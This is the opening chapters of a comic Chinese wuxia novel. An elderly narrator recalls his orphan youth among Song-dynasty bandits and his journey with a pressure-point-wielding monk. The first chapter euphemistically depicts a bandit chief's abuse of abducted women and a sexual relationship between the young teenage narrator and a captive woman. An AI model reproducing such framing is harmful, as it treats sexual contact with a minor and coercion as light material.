《江湖是怎么没的》 第一卷 最后一个武林盟主 第一章 回忆 少年人喜欢畅想未来,老年人则沉迷回忆过去。不得不说,这是人世间一个非常奇特的现象。 如今九十岁高龄的我,孤身一人坐在一望无垠的朔北草原上,看天空瓦蓝,风吹草低,骏马奔驰,却没有一丁点心旷神怡的感觉。 怅然若失之感从二十五岁那年起便伴随着我,挥之不去,如今走过六十五年的光景,不但丝毫没有减损,反而与日俱增。过往的烟云在脑海中飘过,许多记忆都已经散碎得拼不成一张。然而,我仍然在回忆。 只有在回忆里,我才会忘记白驹过隙的时光,忘记茕茕孑立的孤独,忘记我这身已经发臭的皮囊。即便那些回忆里满是懊悔、痛苦、惆怅,但我仍然沉浸在其中,仿佛又回到了少年时候,回到了那些荒诞离奇的故事之中,回到了六十五年前的那场江湖风雨。 江湖上有一个规矩,数十年来让我深恶痛绝。 生人相见总要报上名号。 一者问:“在下桃仙教柳千山,敢问阁下高姓大名?” 二者答:“久仰,久仰!在下青鸾派段崖风。” 一来一回,光是名号就响亮得让对手为之一震。 但是,我生平最恨的事情,就是别人问我名号。 此事源起我的第一任师父,他叫陈八矛,是一个江湖游侠。说是江湖游侠,无非就是个浪荡剑客,无门无派,无依无靠,整日插科打诨,噩噩度日。 八矛师父收留我之时,我刚满周岁。那时,北方大金国灭了大宋国,开封府沦陷,我的父母皆死于兵祸。师父出手将我从金兵的乱刀之下救了出来,与此同时,还救下了另外三名孩童。 那时兵荒马乱,我们四人都值幼年,八矛师父多方打听,只问到我们的姓氏,名字根本就无从得知。 师父便斗了大胆给我们取了新的名字。 他自忖看破人世沧桑,常说“祸福旦夕”,便将这四个字分别赐予我们四人,以“甲乙丙丁”为序,区分长幼。我大哥姓赵,名叫“赵祸甲”;二哥姓宋,名叫“宋福乙”;四弟姓张,名叫“张夕丁”。 而我......姓姬。不错,我叫“姬旦丙”! 每每想起这个名字,我都激动得想要骂娘。但是,八矛师父常说,这年头兵荒马乱,饿殍遍野,能有鸡蛋饼吃是人世间最美好的事,因此,我的名字有福。 那一年,靖康二年,大宋都城开封被金兵所破。徽宗、钦宗双双被俘,成为天下汉人的奇耻大辱。 后来,时年二十一岁的康王,也就是徽宗第九个儿子赵构在应天府称帝,改年号为建炎。这便是后世赫赫有名的大宋高宗皇帝。 很快,高宗建政的消息传遍大江南北,一时间举国欢腾,江湖上大小门派纷纷跑到应天,誓言要与朝廷同仇敌忾,共同抵抗大金,以报“靖康”之仇,保住大宋河山。 然而,这些美好的愿景很快就被大金国的铁骑碾得粉碎。就在举国上下满心憧憬着高宗皇帝挥师北上,一举夺回失地,还都开封之时。高宗皇帝却突然下召说,京师不能回,要巡视东南。 江湖上顿时骂声一片。 建炎二年,大金国铁骑南下,打到了扬州城外。高宗皇帝此时早已逃之夭夭,由镇江越过长江,一路向南。 江湖五大门派,少林、泰山、华山、北冥、东海不愿将大好河山拱手相让,率领千余名弟子在扬州准备迎击大金铁骑。 当黑压压一片军队将扬州团团围住之时,五大门派霎时间傻了眼。纵使武功卓绝,也抵不过万箭齐发,霹雳弓鸣。五大门派一千多名弟子,剑未出鞘,就被射成了筛子。 绍兴八年,高宗下召,迁都临安府。那年我十二岁,大哥十四岁,二哥十三岁,四弟十一岁,八矛师父在逃难途中,被山贼杀死,享年四十六岁。 杀师之仇不共戴天。起初,我们兄弟四人被囚禁在雁荡山灵峰寨的地牢之中,看着杀死师父的山贼,恨得咬牙切齿,并痛哭流涕的为八矛师父哀嚎了整整两日。 两天之后,我们饿得使不出一丝力气。灵峰寨的寨主马维进给我们送来了一块肉,那肉烤得外焦里嫩,且不说气味有多香,单是那皮肉间冒出的油花,就让我们兄弟四人流得口水比泪水还多。 如果说,一块肉不足以让我们放下师仇。那么两块,三块,天天如此,久而久之,猪油便蒙住了心肺,我们兄弟四人就此做了山贼。 马维进问我叫什么名字。 我说,我叫姬旦丙。 马维进哈哈大笑,说他很喜欢我的名字,便叫我做了他的贴身侍卫。说是侍卫,侍字当头,无非就是侍候他吃饭、穿衣、洗脚等等,有的时候他从山下村子里抢来了几个姑娘,也时常叫我来看管。 寨子中的兄弟们看到寨主抢来的姑娘,个个两眼冒光,口水湿了胸前的褂子也合不上嘴。那时我年纪尚小,不明就里。每次马维进声称要单独审问某位姑娘,他的房间里总要传来“哎呀哎呦”的怪叫。 每每听马维进提审姑娘,我都很害怕。站在门口,听门里撕心裂肺的喊叫声,我都认为是他对那些姑娘用了极为残忍的刑罚。那些姑娘起初恐惧万分,寻死腻活,最后却又争先恐后,吵着嚷着要被马维进提审。 有一次,一个姑娘久未被审,竟在我面前把衣服脱个精光,说,只要我替她给寨主美言几句,她便答应我所有的要求。 那时我年少懵懂,见那女子可怜巴巴望着我,泪眼莹莹,一时间动了恻隐之心。在她的引导下,我坠入青萝,如沐春风。 在那以后,那姑娘便不再吵嚷着要找寨主。而是每到夜深人静之时,便要相约于我。我拗她不过,便每夜如期而至,与她翻云覆雨,共赴周公。 有一次,我问她叫什么名字? 她说;“我叫赵小娥。” 我说:“你的名字真好听。” 她笑了,把头埋在我的胸口,一只手使劲揉搓着我的肩头,几乎要搓下一层皴来,说:“还是你的名字比较有趣。” 不知为何,我心里顿时生出了一股怒火,她原本温润如玉的肌肤在我眼中竟变得如烂肉一般恶心,让我作呕。 自那之后,我再也没有找过她。 四个月后,赵小娥死在了房中。她用一根白绫将自己悬在了屋脊之上,被人发现时,竟真得已经变成一团烂肉,尸味臭不可闻。许多人抬着她,将她葬在荒山的一个角落里。 夜间,我趁着无人发觉,悄悄溜到她的坟前。她被埋得很浅,很随意,一只手仍然翘在泥土之外,拳头攥得很紧,像是握着什么东西。 我撬开她的拳头,一小块发乌了的鸡蛋饼从她手心中划了下来。我吓得出了一身冷汗,万幸没有被别人发现。脑海中,许多画面交错闪现,忽然鼻头一酸,一滴眼泪从我眼眶中流了下来。 我生命中第一个女人,就这样没了。 两年后,我们山寨的兄弟劫了官府的银子。官兵围剿我们。那一夜,漫天火箭如雨点一般地射进山寨,熊熊大火烧了整整三天三夜,嘶嚎之声不绝于耳,小小山寨如人间地狱一般恐怖。 灵峰寨的兄弟们死伤惨重,侥幸活下来的兄弟也四散而逃。 那一年,我和三位兄弟走散了,便再也没有了他们的音信。 逃出雁荡山,我回首群山跌宕,心中一片迷茫,看着沧浪大道,绵绵千里不知去向何处。 从此,生死未知,前途难卜。 第一卷 最后一个武林盟主 第二章 名字 逃离雁荡山以后,我像是孤魂野鬼一般地游荡在茫茫的天地间。充斥内心的,不止是对前途的茫然,还有一种前所未有的孤独感。 但是,很快我便从这种茫然与孤独的情绪中拜托了出来。因为,我闻到一种从未体会过的自由的气息。一种全新的无拘无束的自由,几乎让我想要为所欲为。 我首先想要为所欲为的,便是给自己取一个新名字! 我一直希望有一个响亮的名号。 自幼别人听到我的名字,都笑得前仰后合,这一直是我心头的一根刺,也因此严重影响了我的自信心。 从前,遇到生人,当我大哥、二哥、四弟分别报上名号之后,我都声细如蚊地说,我叫姬旦丙。闻者捧腹大笑,三个兄弟也嘿嘿发声,最可恨的就是八矛师父,他竟然也一脸笑吟吟的模样。 逃出雁荡山之后,兄弟三人不知所踪,我孤身一人,想叫什么就叫什么,前世今生,无人知晓。 因此,我决定给自己起一个响亮的名字。 我实在不愿再成为别人的笑柄。 但是,我自幼跟着八矛师父浪迹江湖,整日东躲西藏,师父斗大的字不认得几个,纵使我自学成才,青出于蓝,所认识的字也仅限于我们兄弟几人的名字。在这种情况下,任凭我绞尽脑汁,想到的无非都是些二蛋、狗剩之类,难登大雅之堂。 我想,与其费尽心力地冥思苦想,不如索性将别人的名字拿来套用。如此便可以轻而易举地获得一个响当当的名号,岂不美哉。 这几年来,我一直在山寨中作山贼,所接触的也都是那群山贼,江湖上响亮的名号,无从知晓,只能从身边的人响起。 三位兄弟的名字都是八矛师父以“祸福旦夕”为基础取的,不甚响亮,把我的姓氏加在前面又十分拗口,并且还会很容易会让我联想起“旦丙”这个名字,刺中我的痛处,因此排除在我的选择范围之外。 八矛师父的名字.......加上我的姓氏简直实在难堪入耳,绝对不能为我所用。马维进的名字我根本就不想用,毕竟他杀了八矛师父。这些年,我寄人篱下之时,杀师的仇恨埋在心中不敢说出口,但并不代表我可以忘记。 苦恼之下,我想起了赵小娥。 姬小娥......一听便是女子的名字,缺乏阳刚之气。 忽然,曾经无数次压在赵小娥身上的场景隐隐显现在我的眼前,她滑如凝脂的肌肤贴合着我的每一个毛孔,即使时隔已久,却仍能让我心中荡漾。 得到的时候不懂得珍惜,失去之后才追悔莫及。 为了纪念与赵小娥度过的每一个夜晚。我决定改名叫压娥。 姬压娥! 妙哉! 当时,我为了想出一个响亮的名字而挖空心思,用尽浑身解数,把自己整得头昏脑涨。突然,姬压娥横空出世,念起来朗朗上口,又颇有寓意。也没有多想,我就兴高采烈地定了下来。 从此浪迹江湖,我便是游侠姬压娥,凡闻着为之一震,如雷贯耳。想到这里,心情便美得妙不可言。 然而,很快,我就受到了更加沉重的打击。 苍茫古道上,人烟罕至。我顶着火热的太阳,一路向北。 因为临安就在北边。那里是朝廷的行都所在,天下人向往的安宁之所。 走了大概十几里路,突然听见不远处传来几声呼救。 救?还是不救? 我有些踌躇。 然而,很快,救人的决心占据了我内心的高位。该出手时不出手,今后如何在江湖上行走?! 下定决心,我随手提起一根木棍,疾步跑了过去。 苍茫古道旁的一棵枯树下面,只见两个赤膊的汉子,手中各自提着一柄长刀,银光闪闪,杀气腾腾。 一个二十来岁、书生装扮的白面男子抱头蹲坐在地上,浑身是土,满脸惊恐。他见有人突然跑了过来,先是一脸喜悦,从上而下打量了我一番。最后,他的目光落在我手中的木棍上,忽然脸色又沉了下去,一脸失望的模样。 我的目光同样是落在了对方的兵刃上,烈日炎炎,照得地面都要冒出烟来,那两把长刀上却闪着明晃晃的寒光,让我不禁毛骨悚然。我心里咯噔一下,使劲吞了一口唾沫,两只眼睛向左边一瞥,正想装作路人从旁走过。 没想到,一个大汉叫了一声:“来者何人?” 这一问顿时勾起了我小小的虚荣心,刚刚改了名字,总算有了让对手为之一震的机会。这正是我扬名立万的好机会!我扬了扬头,说:“在下姬压娥,敢问两位好汉姓名。” 两个大汉同时一怔,接着哈哈大笑起来。我正疑惑的时候,其中一个大汉笑声戛然而止,神情忽然凝重起来,深吸一口气,朗声说道:“老子叫朱狗羊。” 另一个大汉说:“你爷爷我是牛马驴。” 说完,二人四目相视,笑声如雷。 这时,我才发觉,原来自己的新名字里满满的都是家禽。费劲心力起的新名字,才刚报出口来,就被人嘲讽,我顿时心中生出了一股怒火,正欲发作之时,突然看到那个被抢劫的白面书生也“噗嗤”一声笑了出来。 顿时,心头脑海,犹如万虫噬咬,百爪撕挠。愤怒、羞耻、厌恶......各种情绪一涌而来。我大叫了一声,手中的木棍一起一落,“嗙”一声砸在“朱狗羊”的脑袋上。 “朱狗羊”一声惨叫,手里的长刀“呛啷”一声掉在地上。他双手捂住脑袋,尽管很用力,但还是有一道殷红的鲜血从指缝间涌了出来。 这一棍子下去,我心里是痛快了,却也把自己推到了生死边缘。 乱世之中,人命本来就如草芥,不值一文。杀人越货、拦路抢劫的汉子到处都是,朝廷自顾不暇,哪里还有心力去管这些贼寇。 即便是某个络绎不绝的小镇上死了人,也难以引起官府的重视。更何况这种荒无人烟的古道上,平白多出几具尸体,恐怕不等有人发现,就已被苍鹰土狗啃成一堆白骨了。 另一名大汉见同伴被我一棍子夯出血来,大声骂了我一句,手中长刀举起,“噗”地一声就向我砍了过来。我慌忙一侧身,那柄刀冷冷地从我身旁切了下去,“当”的一声砸到地上,在黄褐色的土地上砍出一道深深的沟印。 我大叫了一声:“好汉饶命啊!” 然而,“牛马驴”却丝毫没有放过我的意思,紧接着便拔起长刀,霍霍向我挥来。 我连滚带爬地跑了几十米,刚刚挺直身子,脚下被乱石羁绊,一个踉跄又跌倒在地上。此时,“牛马驴”已经挥刀斩来,直直向我双腿切了下去。 心急之下,我两腿一分,屁股向后一挫,长刀“当”的一声砍在我双腿之间的地上,刀尖儿离我命根不足两寸,惊得我豆大的汗珠滚了一脸。 我大声求饶:“大哥,大哥,手下留情啊!” “牛马驴”毫不理会,又把长刀拔了起来,白晃晃的刀刃在我眼前一闪,下一刻,只需要一挥而下,刀刃划过我的脖颈,喉头的热血就要如柱喷出。 我紧紧闭上双眼,静静地等候死亡的来临。 半晌,我脖颈之间并没有丝毫痛感,缓缓睁开眼睛,却看见“牛马驴”双手将长刀举过头顶,烈日的光芒射穿他双肩与头颅之间的缝隙,显得尤为刺目。 过了许久,“牛马驴”的长刀迟迟没有落下,而他整个人却仿佛是长在地上的木头一般,一动不动。我正诧异间,忽然“牛马驴”的身后闪出一个人影。 阳光反照下,我隐约看见那人是个光头。 我站起身来,拍拍身上的灰尘,再去审视眼前的那个光头。他莫约三十来岁,穿着一身棕黄色的僧袍,圆脸,粗眉,一脸风尘仆仆的样子,两眼却炯炯有神。 和尚双手合十,说:“阿弥陀佛。小施主,你没事吧。” 我见他慈眉善目,一脸好人的模样,心里稍稍安定下来。又转头看了看“牛马驴”,他仍是双手举刀过顶,站在那里一动不动,一柄长刀笔直冲着头顶的太阳,闪着白光。 我问:“他怎么了?” 和尚说:“贫僧点了他的穴道。” 我问:“什么叫点穴道?” 和尚指了指一动不动的“牛马驴”以及十几米外满脸是血也是一动不动的“朱狗羊”,说:“这就是点穴道。” 我似懂非懂,“哦”了一声。 这时,那个白面书生缓步向我们走了过来,满脸吟吟笑容,我忽然想起他方才的“噗嗤”一笑,气不打一处来。 我冒死前来救他,他竟然还敢嘲笑我!愤怒的驱使下,我随手在地上抄起一块石头,一个健步冲上去,就要砸他。 石头刚刚举过头顶,突然觉得脖颈后一阵酸痛,接着浑身就不听了使唤,任凭我怎么样用力,都动弹不得。 我勉力控制着眼珠,向后一瞥,只见和尚从我身后绕了过来,笑着说:“小施主,这就是点穴道。” 第一卷 最后一个武林盟主 第三章 疑惑 烈日炎炎,晒得我浑身上下裸露的皮肤一阵火辣辣地疼。我用尽全身力气想要移动几分,然而,不管我怎么样用力,也寸步难移。 这点穴的功夫果然神奇。我心里不禁暗暗叫绝。 然而,莫名其妙地,我被眼前的这个大和尚点了穴道,心中却是又气又恼,大喊:“秃驴,你快把老子放了!” 一般来讲,和尚们都很忌讳别人叫他们秃驴。如果有人胆敢对和尚以“秃驴”称呼,他们往往会暴跳如雷,甚至不择手段的还击。 因为身体发肤受之父母,这种观念根深蒂固。我猜想,他们被削光的脑袋和我的名字一样,在心里,同样都是痛点。 从前的和尚都是一心向佛的,他们慈悲胸怀,他们四大皆空,把世间的一切都看得淡淡的,无论你说什么,他们都不为所动。但是,这是乱世,两国交兵,死伤无数,很多人为了活命才削去了头发躲进寺庙里当了和尚。而那些原本慈悲为怀的和尚,即使自己缺吃少穿,也要兼济天下,普度众生。 正所谓,我不入地狱谁入地狱。所以很多慈悲为怀的和尚都饿死了。 其实,太平年间的寺庙香火鼎盛,寺庙又多依山建立,和尚们勤勤恳恳,稍大些的寺庙都开辟了千亩良田,自给自足,毫无生存压力。纵使这乱世里秃头的和尚越来越多,也不至于会饿死和尚。并且,无论是金兵还是宋兵,都忌惮佛祖神威,也不会轻易骚扰寺庙。 然而,真正的和尚都把粮食分给了别人,把饥饿和苦难留给了自己。死 总而言之,这个世道的很多和尚并不虔诚。 然而,眼前的这个和尚却很虔诚。被我骂作“秃驴”,他却不气恼,仍然是一脸笑呵呵的样子,说:“我解开你穴道可以,但你不要打人。” 我说:“他嘲笑我,我就要打他。” 和尚没有说话,那个白面书生却说:“你自己名字取得滑稽,还不让我笑!” 我无言以对,因为他所说的都是事实。 白面书生看了一眼和尚,说:“大师,你知道他叫什么名字吗?” 和尚还是没有说话,我大喊了一声:“住口!” 白面书生丝毫没有住口的意思,他向我挤了个白眼,说:“大师,他说他叫‘鸡鸭鹅’!你说好笑不好笑?哈哈哈......” 和尚仍然没有出声,但原本只是微笑的嘴却咧开了一道口子。 我一时着急,说:“我不叫姬压娥,这乱世,谁敢报自己的真名。” 白面书生问:“那你叫什么?” 我说:“我叫,我叫,姬,姬......” 我没有说出口,只觉得两颊发烫,不知是羞得还是晒得。我恨透了自己的名字,每次它带给我的不是让对手为之一震的感觉,而是无休止的嘲笑。 白面书生说:“那你叫什么?你说啊!” 我实在说不出口,已经被人嘲笑过一次了,无论如何不能被嘲笑第二次。 和尚仿佛看透了我的心思,他说:“人生来本无名无姓,姓名皆是虚空,何必介怀。” 一刹那间,我竟然被和尚感动了,我感觉这个和尚说得话很高深,很有道理,虽然我并没有完全听懂。但是,他字里行间所露出的那种佛法高深的意境,让我瞬时间有了灵魂升华的感觉。 人生来本无名无姓!老子叫姬旦丙,又不是天生带来了。怪只能怪我那不着调的师父,给我凑了这么一个滑稽可笑的名字。 我坦然地报上了姓名,说;“我叫姬旦丙!” “哈哈哈哈......” 白面书生笑得一张脸扭成了一团,笑了一会竟不能自持,一口气接不上,剧烈地咳嗽起来。 和尚虽没有那般浮夸,但我仍然清晰地听到他唇齿间飘出来两声“呵呵”。 这次,我竟然没有生气,反而是满心坦荡地冲着白面书生,问:“你叫什么?”。接着,又瞟了一眼那和尚,问:“你叫什么?” 白面书生说:“我叫李小谦。” 和尚说:“贫僧法号圆通。” 李小谦又笑了,我以为他还是在笑我,没想到他开口说了一句很奇怪的话。他说:“我靠,你是快递啊!哈哈哈......” 圆通也不能理解,问:“什么是快递?” 李小谦思索了片刻,说:“怎么说呢?这个东西在你们这儿称镖局,在我们那儿就叫快递!圆通就是我们那儿一个快递的名字!” 圆通喃喃地念:“圆通镖局,圆通镖局.......” 这次,李小谦笑得更欢了。 至此刻,我已经一动不动地站了很久很久,一只手高举着,攥着石头,酸痛之感渐渐地从肩肘部散遍全身。我忍无可忍,说:“别笑了,快放了我!” 圆通说:“放你不难,不过,你要答应贫僧,不可以再打人。” 我说:“好,我不打人。” 圆通微微点头,翘起两根手指,向我戳来。然而,手臂刚伸出一半,忽然被李小谦一手摁住了,他说:“等等!大师,先让他发个誓!” 那个时候,我恨不得把手里的石头换成长刀,一刀劈死这个白面书生。但是,八矛师父曾经告诉我,受制于人之时要懂得示弱,只有这样才可以保全性命。 八矛师父口传相授却没有以身作则。那天,他带着我们兄弟四人路过雁荡山的时候,一群山贼突然蹦了出来。 突如其来的土匪中,为首的,便是马维进。 马维进将大刀抗在肩头,大声喊道:“此路是我开,此树是我栽,要想此处过,留下买路财。” 八矛师父笑了,指着两旁的山林,问:“这满山的树都是你们种的?” 他一句话把山贼们堵得哑口无言。八矛师父笑着说:“要钱可以,但是不要说大话。” 马维进怒道:“少废话,把钱拿出来!” 八矛师父说:“这位好汉,我们是一路逃难过来的,吃喝都是靠人施舍,哪里还有钱啊?” 马维进的目光落在了我们兄弟四人身上,他说:“没钱也可以。最近我们山上正缺人手,你把这四个娃娃留下,老子便放了你!” 八矛师父说:“不行,他们还是孩子,不能当山贼!”他犹豫片刻,又说:“不如......你把我留下吧,你看,我身强体壮......”八矛师父撸起袖子秀起了他黝黑干瘪的臂膊。 马维进恼羞成怒,他没有见过这样跟山贼讨价还价的。没等八矛师父把话说完,他一刀落下去,就把八矛师父砍死了。 八矛师父在他生命的最后时刻用很好的反例向我阐释了示弱的重要性。 由此,我铭记于心。 这个时候,我看着李小谦趾高气扬的模样,仿佛圆通和尚是他帮手一般,我说:“我发誓,如果我再打人,就让我师父活不过四十六岁。” 反正八矛师父四十六岁的时候都已经死了,拿他发个誓也不算不敬。 李小谦不是很满意,他说:“不孝徒弟!哪有拿自己师父诅咒发誓的?不行!重新发誓!要把毒誓发在你自己身上!” 我怒气难平,但还是隐忍下来,说:“好!如果我再打人,就让我活不过四十六岁。”倘若能活到八矛师父那个岁数,我也心满意足了。 李小谦还不满意,他刚想开口,圆通和尚的手指已经点在了我脖颈上。一瞬间,我感觉一股力量游遍全身,顶着我向前一个踉跄,差点趴在地上。 我站定身子,看着李小谦一脸狡邪的样子,石头尚在手中,不如趁此机会砸得他鲜血直流,以解心头之恨! 我刚将攥着石头的手提过腰间,突然,眼角余光略过圆通,只见他右手两根手指又翘了起来。 我赶紧变换动作,顺势把石头仍在地上,咬牙切齿地说:“你等着。早晚有一天,我会收拾你。”说完,转身便要走。 刚迈出一步,我便犹豫了。眼前是茫然的沧浪大道,前方不知还有多少危险,不知道下一次强人来袭,还会不会有一个会点穴的和尚突然出现,把我从危难中救出来。想到这里,已经迈出一步,第二步却怎么也迈不出去。 突然,我听见身后李小谦说:“大师,在下是临安府柳湖书院的学生,出门在外,危险重重,今日得见大师武功高强,神通广大,学生斗胆请求与大师同行,以得大师庇佑。” 圆通说:“阿弥陀佛,善哉善哉。” 李小谦说:“多谢大师。” 我不明白,圆通那句话的意思到底是答应还是没有答应。正思考的时候,圆通和李小谦已经从我身边走了过去。 我赶紧开口说:“大师,我也想跟你一起走。” 圆通微微一笑,双手合十,说:“阿弥陀佛,善哉善哉。” 我大喜过望,说:“多谢大师。” 正要上前跟上,却听到圆通又说:“小施主,你戾气太重,与这位施主同行,恐有不妥。” 我顿时傻了。为什么同样的回答却是一个意思呢? 第一卷 最后一个武林盟主 第四章 答案 为什么得到了同样的答案,会是两个完全不同的意思? 或许,这世间本来就有很多事情无法解释,也没有什么必然的道理。 当某个事情的发展并不那么顺从自己的心意时,我能做的只有争取,向着自己想要的结果砥砺前行。 所以,我决定跟在圆通和李小谦身后,他们去哪,我就去哪。 出家人慈悲为怀。我相信,当我遇到强人拦路时,圆通一定不会坐视不理。更何况,前面有一个穿着得体的白面书生,只要盗匪不瞎,肯定不会冲着我这么一个衣衫褴褛的人下手。 乱世当前,盗匪强人是这个时代的主流。尤其是这种苍茫古道上,拦路抢劫的汉子,绝对不止一波。 果然,没走出多远,我们又遇到了三个持刀的汉子。一个满脸胡子,胸口有毛;一个又高又瘦,面无血色;另一个矮得像八九岁的小孩,如果不是嘴上的两撇胡子,我真的以为他就是个娃娃。 有毛的汉子高大魁梧,满脸横肉,显然是他们的老大。我当山贼多年,深知,当老大的好处就是,分赃时要拿大头。就算这个团伙再怎么穷,当老大的也吃穿不愁。所以,天庭饱满的人一定吃得最多,一定就是老大。 正如我猜测的那样,那个有毛的汉子表现出了与另外两人完全不一样的积极。他站在中央,向前一步,后面的两人便跟进一步并露出一副为有毛者之命是从的态度。然而,这三个汉子拦住的并不是我们,而是我们前方的一辆马车。 有毛的汉子大喊一声:“爷爷一声吼,娘们儿跟我走,爷们儿都别动,马车我牵走!” 这话一说完,我顿时有种耳目一新的感觉,对那么有毛的汉子竟起了敬佩之心。如此言简意赅、直抒胸怀的号子还是头一次听到。回想起自己做山贼的时候,翻来覆去都是一句“此路是我开,此树是我栽,要想此处过,留下买路财”。毫无新意。 无论什么朝代,口号都是极为振奋人心的。一个响亮的口号不仅可以体现一个团伙的诉求,还可以起到震慑对手的作用。 淳化四年,四川青城的茶贩子王小波喊了一个号子。“吾疾贫富不均,今为汝均之”。意思就是要领着大家一起分钱。号子一出,十天就聚了好几万人,随后在朝廷上引起轩然大波。 虽然没过两年,王小波就被一箭射死了。但是这个口号仍然在坊间流传,被许多贫苦百姓追思。 显然,有毛的汉子所喊的口号也很响亮。马车上咕咕噜噜地滚下两个精瘦的男人,一个老头,五十几岁;一个汉子,二十来岁。看上去,像一对父子或者翁婿。二人浑身发抖,结结巴巴的说着什么,也听不清楚。 矮胖的汉子走上前去撩开马车的布帘,车厢里传来一声女人的尖叫。三个劫匪同时眼前一亮,纷纷向着马车奔去。 圆通缓缓走到马车前,说:“阿弥陀佛,善哉善哉。” 我不知道他此时说这句话又是什么意思。 只见有毛的汉子打量了我们三人一眼,一脸不屑的表情,说:“强人有义,不劫贫贱之人。” 他说的大义凛然,让我不禁佩服。如果马维进当年能有他这般觉悟,相必八矛师父也不会做了刀下亡魂。 圆通说:“贫贱者是人,富贵者也是人,还请施主高抬贵手。” 有毛的汉子双眼瞪得溜圆,满脸的毛似乎要竖起来一般,他说:“要你这老秃驴多管闲事?!”说完,他挥舞着长刀就向我们扑来。 圆通不紧不慢地从地上捡起三枚石子,“嗖”的一声,一枚石子弹出,打在那汉子的胸毛上,有毛的汉子顿时化作石头一般,一动不动。接着,他又不紧不慢地向另外两名劫匪扔了两枚石子,也同样打在了他们的胸口上,那两名劫匪也被点住了。 我突然对点穴功夫起来极大的兴趣。我分明记得,方才圆通点的是我后颈,这次却点了那三人的胸口。难道这点穴的功夫就是随便往身上哪个地方一戳,对方就登时变成一根木头吗? 那两名男子从马车上接下一个女子。那女子十六七岁的模样,一身浅色榴花衣裳,鹅蛋脸,白里透红,柳叶眉毛下一双明眸里还闪着莹莹的泪光。甚是好看。 年纪大的男人说:“多谢大师相救。” 圆通说:“阿弥陀佛,善哉善哉。” 年纪大的男人从怀里掏出一锭银子,足足有二十两,说:“我夫妻二人从临安府到温州省亲,不料返回途中遇到歹人,幸亏大师出手相救,不胜感激,奉上薄礼,以表谢意,还请大师不要推辞。” 这俩人竟是夫妻。 我顿时生出一种汗血宝马配了赖驴的惋惜之感。看着那女子年轻貌美的模样,心中难免啧啧可惜。 圆通看了李小谦一眼,李小谦心领神会,上前接过银锭,嘿嘿一笑,说:“先生不用这么客气,大师乃是方外之人,不受俗物,我就替他收下了,前路漫漫,我会给大师多买些素饭,替先生表达谢意。” 圆通露出了满意的笑容。 年纪大的男子说:“在下还有一个小小的请求。” 圆通说:“请讲。” 年纪大的男子说:“这一路吉凶难卜,强人颇多,我看大师武功高强,神通广大,恳请与大师同行,以获庇佑。” 圆通笑了笑,说:“阿弥陀佛,善哉善哉。” 年纪大的男子说:“多谢大师。” 说着,几个人上了马车,李小谦和那名年轻的男子坐在外面,圆通、年纪大的男子和那名女子则进了车厢。 我刚想上车。圆通却伸出半个脑袋,说:“小施主上车须得主家应允,否则无礼。” 李小谦说:“没错,你要先问问先生同意不同意。”他说完就向车厢里使了一个眼色。 我说:“你上车也没有经过他允许。” 李小谦说:“我和大师同行,大师上车,我自然也要跟着上车。” 我想说,我也与大师同行。但话到了嘴边,却没说出来。因为我不知道圆通到底有没有同意我和他同行。 那个女子突然说:“大师慈悲为怀,不会置你不顾,你上车吧。” 我看了一眼圆通,只见他点了点头,说:“阿弥陀佛,善哉善哉。” 我顿时明白过来,原来圆通每次说话的时候都有动作。无论他说什么,点头就是同意,摇头就是不同意。 为什么得到了同样的答案,会是两个不同的结果? 直到此时我才明白,因为我得到的答案,本来就与别人不同。 很多时候,我们关注的总是显而易见的皮表,然而那些显而易见的东西往往没有什么意义。真正有意义的,却是隐含着你不经意间的一个动作,一个表情,这才是事物的本质。 第一卷 最后一个武林盟主 第五章 同行 幼年时候,常听人说要闯江湖。 那时候,我不懂什么是江湖。我便问过八矛师父,什么是江湖? 八矛师父指着一个条小河,问:“这是什么?” 我说:“小河。” 八矛师父说:“大河就是江,流到一起就是湖。江湖就是水,有水的地方就是江湖。” 我说:“师父,我想去闯江湖。” 八矛师父说:“为什么?” 我说:“江湖里有鱼吃。” 其实,八矛师父所说的是江湖最表面的意思,大江大湖,有水就是江湖。然而,江湖的含义并没有那么简单。金军南下,将北方的人赶到了南方,跨过长江,越过大湖,一路南逃,便成了闯江湖。 那个年代,江湖就是一条路,寄托了平和安定的路,无论人们在这条路上撒下多少辛酸血泪,谱写了多少生死离别,求的无非是一寸栖身之地。然而,国破家亡,山河破碎,许多人纷至踏往的这条路,尽头却是虚妄。 我们一行六人沿着古道一路向北,向着临安府行进。三日后,我们到了绍兴府。 绍兴府原名叫越州。建炎五年,高宗皇帝巡幸越州,突然心血来潮,下召改元。他自诩是大宋江山的中兴皇帝,可比光武帝、唐玄宗。故而取“绍作中兴”之意,改建炎五年为绍兴元年,顺便将越州改成了绍兴。 那时候老百姓不明白其中的道理,无法体会圣上的苦心。牛家庄被改成了赵家庄,牛家庄的老百姓自然不满意,心想,这也没和我们商量啊。 因此,人们的口语上仍然称越州,不肯改口。 高宗对此极为不满,以为政令不通,有损皇威,遂下召曰,诸言越州者杖五十。意思就是,谁要敢再说“越州”,就揍他五十板子。 朝廷的力量是强大的,圣令一下,旨到即行,越州大小官吏纷纷上街查访。标语打得满街都是。文雅的直接引用圣旨里的句子,“绍奕世之宏休,兴百年之丕绪”,然而这样的句子,普通百姓根本看不懂。粗鲁的就写“谁要不改口,牲口全牵走”,所有人顿时就明白了。 在官府的淫威之下,老百姓骂着娘就把越州改成了绍兴。 从此,“越州客栈”改成“绍兴客栈”、“越州钱庄”改成“绍兴钱庄”,就连“越州包子铺”也改成了“绍兴包子铺”。 我们来到绍兴时,已是绍兴十二年。就在六个月前,宋金构合,结束了长达十五年的战乱。五个月前,主战派将军岳飞惨死。 进了绍兴府,我们最先做的,就是找家客栈住下。为了响应朝廷的号召,我们住进了“绍兴客栈”。 一路颠簸下来,莫说是我们,车架都被晃得散了。 然而,我见园通气定神闲,一路上都在保持着微笑,手中佛珠轻捻,不时念着“色不异空”之类的经文,突然好奇心起,我问:“大师,你是哪家寺庙的?” 圆通说:“少林寺。” 我吃了一惊,说:“少林寺的人不是在扬州抗金时都死了吗?” 圆通说:“当时我没有去。” 我问:“为什么?” 圆通说:“那个时候我已经被逐出少林了。” 他非常坦然。逐出师门这种事一般都是难以启齿的丑事,他此时仍能坦言相告,着实让我非常感动。心想,果然是得道高僧,将人世间的一切都看得如此平淡。 我问:“为什么?” 圆通说:“方丈的狗死了。” 我大为不解,问:“是你杀的?” 圆通说:“出家人不能杀生。” 我更加不解,问:“那是为什么?” 圆通说:“方丈命我为亡灵超度,然后好生安葬。” 我还是不解,问:“你没有做?” 圆通说:“我带着两名弟子在后山为它超度。” 我彻底蒙了,不知道其中到底有什么关系,问:“那到底是为什么?” 